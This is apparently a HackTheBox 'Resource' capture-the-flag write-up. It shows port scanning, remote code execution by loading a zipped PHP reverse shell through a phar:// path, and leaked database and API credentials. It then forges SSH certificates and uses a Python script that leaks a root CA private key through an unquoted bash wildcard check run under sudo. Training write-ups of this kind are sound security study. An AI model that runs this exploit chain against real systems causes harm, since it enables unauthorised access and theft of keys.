Resource | HackTheBox

Overview

TitleResource
DifficultyHard
MachineLinux
Maker

Information Gathering

Scanned all TCP ports:

nmap -p- -vv --min-rate 5000 10.10.11.27 -oA nmap/ports
Nmap scan report for itrc.ssg.htb (10.10.11.27)
Host is up, received syn-ack (0.27s latency).
Scanned at 2024-08-08 18:56:08 IST for 1s

PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack
80/tcp   open  http         syn-ack
2222/tcp open  EtherNetIP-1 syn-ack

Enumerated open TCP ports:

nmap -p22,80,2222 -vv -sC -sV --min-rate 5000 10.10.11.27 -oA nmap/servce
Nmap scan report for itrc.ssg.htb (10.10.11.27)
Host is up, received syn-ack (0.26s latency).
Scanned at 2024-08-08 18:58:41 IST for 15s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: IT Support Center
2222/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80 - HTTP (Nginx 1.18.0)

Forwarding to itrc.ssg.htb Adding that to /etc/hosts

echo -e '10.10.11.27\titrc.ssg.htb' | sudo tee -a /etc/hosts

Clicking on login redirects us to /?page=login I tried LFI on the page parameter: But it redirects us back to the home page. The # at the end of the url was to bypass potential file extensions like .php extension that will be added to the page value. I also tried %0a, %00, etc. Those were also not working

I registered an account and logged in and we can access a dashboard now. We can create tickets and upload files. This is often the place for XSS, so we can enter some payloads for testing. I tried to use the upload functionality to upload a php reverse shell but that didn’t worked. It strictly checks if the upload file is a zip file. Next thing I noticed is every ticket have an id assigned to it, and we can view the contents of the ticket. So I tried IDOR. That wasn’t working either, It redirected us to the home page.
Then I checked the source code and saw that the value of the id parameter was reflecting in the js code. We can inject js code through the id paramter and when the submitComment function is invoked, that is when we press the comment button our payload will execute. But it is just a self xss, no actual impact. Then again I focused on the upload functionality. The uploaded zip file is placed in the /uploads/, the server renames the file. I checked if any of the files inside the zip file is extracted in the /uploads folder but found nothing. If we can somehow execute a php file inside the zip archive we can achieve rce in the server. In php we can use the phar:// wrapper to execute a php file inside the zip archive we upload. We can use the ?page parameter and give it a phar:// url and see how it responds.


Exploitation

phar:// deserialization

First lets create a zip file with a php reverse shell.

cp /usr/share/webshells/php/php-reverse-shell.ph shell.php
# change ip and port in shell.php
# then create the zip file
zip -r poc.zip shell.php

Now upload the poc.zip and execute the shell.php by sending a request to:

http://itrc.ssg.htb/?page=phar://uploads/83ffc3c94d5736acfff31d7092fed6d6dcf414cd.zip/shell

And we got the shell


Lateral Movement to user

Local Enumeration

There is a .dockerenv file in the root directory, indicating that we are inside a docker container. I checked the /var/www/itrc directory and saw a db.php file

<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}

But we can’t connect to mysql. Maybe we can ssh directly into the host machine using the credential?

And that wasn’t working either.

Before moving on I checked the index.php file to investigate why the phar:// attack worked and why the path traversal didn’t:

<?php session_start();

if (isset($_GET["page"]) and file_exists($_GET["page"] . ".php")){
    $page = $_GET["page"] . ".php";
} elseif (isset($_SESSION["username"])) {
    $page = "dashboard.php";
} else {
    $page = "home.php";
}

require_once "header.inc.php";

echo "<div class=\"main\">";
include_once $page;
echo "</div>";

require_once "footer.inc.php";
?>

It appends .php to the value of page parameter and checks if that file exists in the server using file_exists() function. That’s why we were not able to read /etc/passwd file before, because even if we add a # at the end the file_exists("../../../../etc/passwd#.php") check will fail. This is not that secure because we can perform path traversal and include php files in other folders like ../../test.php. But including php files already in the server doesn’t help us get a shell. Also the server strictly checks the uploaded file is a zip file. So 0xdf, creator of the challenge chained this with a phar:// deserialization attack. cool… After a lot of enumeration I couldn’t find anything useful. Then I checked the uploads/ directory and filtered all the zip files to check if there’s anything interesting.

It’s a HAR file:

What’s a HAR file?

The HTTP Archive format, or HAR, is a JSON-formatted archive file format for logging of a web browser’s interaction with a site. The common extension for these files is .har.

Since it logs all the interactions, we can check for leaked login credentials in this file, and we found one

It’s definitely a user in the machine

Lateral Movement - user msainristil

The container is running sshd so we can try ssh into the user with the password

And it works

There is a decommission_old_ca directory in the home And it’s actually a Certification Authority key

Lateral Movement - user zzinter

You can check the website I linked above or the CERTIFICATES section in the man page of ssh-keygen to learn more about this. So basically we can sign ssh keys for the users in the machine using this CA. Fi./rst we have to copy the private key ca-itrc to our local machine. Then create an ssh key pair, and sign it using the CA key for the user zzinter on the machine.

chmod 600 ca-itrc
ssh-keygen -t rsa -f ctf
ssh-keygen -s ca-itrc -I "zzinter@itrc user key" -n "zzinter" ./ctf.pub

It will generate a ctf-cert.pub file. Now we can copy all the generated files into the decommission_old_ca directory. We can start a python http server in our machine and use wget to download all the files

# our machine
mkdir www
mv ctf* www && cd www
python3 -m http.server 8000
# htb machine
wget http://10.10.10.1:8000/ -r -nd && rm index.html

Now we can login to zzinter using the ssh private key:

ssh zzinter@10.10.11.27 -i ctf -o CertificateFile=ctf-cert.pub

Privilege Escalation

Local Enumeration

There’s a sign_key_api.sh file in the home

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

This script calls and api to sign ssh public keys. We can run the script and give it a public key, username, and a principal value (from webserver, analytics, support, and security). This api might be trying to sign the given public key with a CA certificate present in the host machine. To sign the pubilc key, we have to figure out valid username and principal combination. I first checked user root and all of he mentioned principals. But none of them worked, then after some more trial and error I found a valid combo support:support.

ssh-keygen -t rsa -f ctf-support

# copy the pub file into the htb machine and run the script
bash sign_key_api.sh ./ctf-support.pub support support

This will generate a cert file and we can login to ssh using this cert file and the private key. Note that there’s to ssh port open 22 and 2222. The 22 port is for the docker and maybe the 2222 is for the host.

ssh support@10.10.11.27 -p 2222 -i ctf-support -o CertificateFile=support.cert

Privilege Escalation vector

I checked the other users in the machine There’s a zzinter user in this machine. We can try generating another cert file using the previous script for this user. I tried all 4 principals mentioned in the script but none of them worked. We can look inside /etc/ssh to know how this is configured. I recomend you to check this blog to learn more about CAs and Principals https://dmuth.medium.com/ssh-at-scale-cas-and-principals-b27edca3a5d

root login is enabled in the sshd_config file. If we check the /etc/ssh/sshd_conf.d/sshcerts.conf we can see where the principals are stored

As we can see there are 2 more principals that were not mentioned in the previous script that used to sign the ssh public key. Let’s copy the previous script, ad these two new principals to the script and try login as root.

ssh-keygen -t rsa -f ctf-root
bash sign_key_api.sh ./ctf-root.pub root root_user

We can’t sign the key for root user.

Let’s try zzinter

ssh-keygen -t rsa -f ctf-zzinter
bash sign_key_api.sh ./ctf-zzinter.pub zzinter zzinter_temp

We got an output, and if we tried to log in using this cert file as user zzinter

ssh zzinter@10.10.11.27 -p 2222 -i ctf-zzinter -o CertificateFile=zzinter.cert

We logged in as zzinter

User zzinter can run /opt/sign_key.sh with sudo privileges

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

This is similar to the previous script, but in here instead of using API, we can directly provide the ca_file. There’s an if statement that checks if the provided ca_file is /etc/ssh/ca-it, if it is true then it will print the usage and exit.

The one thing to notice here is that the script first reads the content of both /etc/ssh/ca-it and the file we provide and tries to match the content. And specifically in that line:

if [[ $itca == $ca ]]; then

It tries to match the content without surrounding the variables in quotest ", which makes it possible to pattern match. Let’s explain that with an example:

pass=$1
root_pass="secretpass"
if [[ $root_pass == $pass ]]; then
	echo "Access granted!"
else
	echo "Wrong password!"
fi

Here when we enter * as the password, the script will match it with the password and we can easily bypass the check.

In this example th password is hardcoded inside the script. Now what if the script have suid bit set and reads the password from another file which only the root user have permission to. Another thing we can try is exfiltrate the password by exploiting this wilcard matching. For example we can try to find the first letter by trying all the letter one by one and add * at the end. Since the password here is secretpass, the password a* fails and s* works.

We can keep doing this until we exfiltrate the whole password using a small script. The same method can be applied to create a script to leak the content of /etc/ssh/ca-it file.

import string
import subprocess
import os
 
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/\n-= '
ca = 'test-ca'
 
leaked_key="""-----BEGIN OPENSSH PRIVATE KEY-----
"""
 
def is_valid_ca():
    output = subprocess.run(
        f"sudo /opt/sign_key.sh {ca} ctf-root.pub root root_user 1337",
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        shell=True,
    )
    return "Error: Use API for signing with this CA." in output.stdout.decode()
 
while not leaked_key.endswith('-----END OPENSSH PRIVATE KEY----'):
    for s in chars:
        with open(ca, 'w') as f:
            f.write(leaked_key + s + '*')
 
        if is_valid_ca():
            leaked_key = leaked_key + s
            os.system('clear')
            print(leaked_key)
            break
    else:
        break
print(leaked_key) 

Now execute the script, it will take some time to leak the entire file content. Now let’s create an ssh key for root and let’s sign it using the CA.

ssh-keygen -t rsa -f ctf-root
ssh-keygen -s ca-root -I root -n root_user ctf-root.pub

Now let’s login as root

ssh root@10.10.11.27 -p 2222 -i ctf-root -o CertificateFile=ctf-root-cert.pub

Reference:

updated at 2024-11-29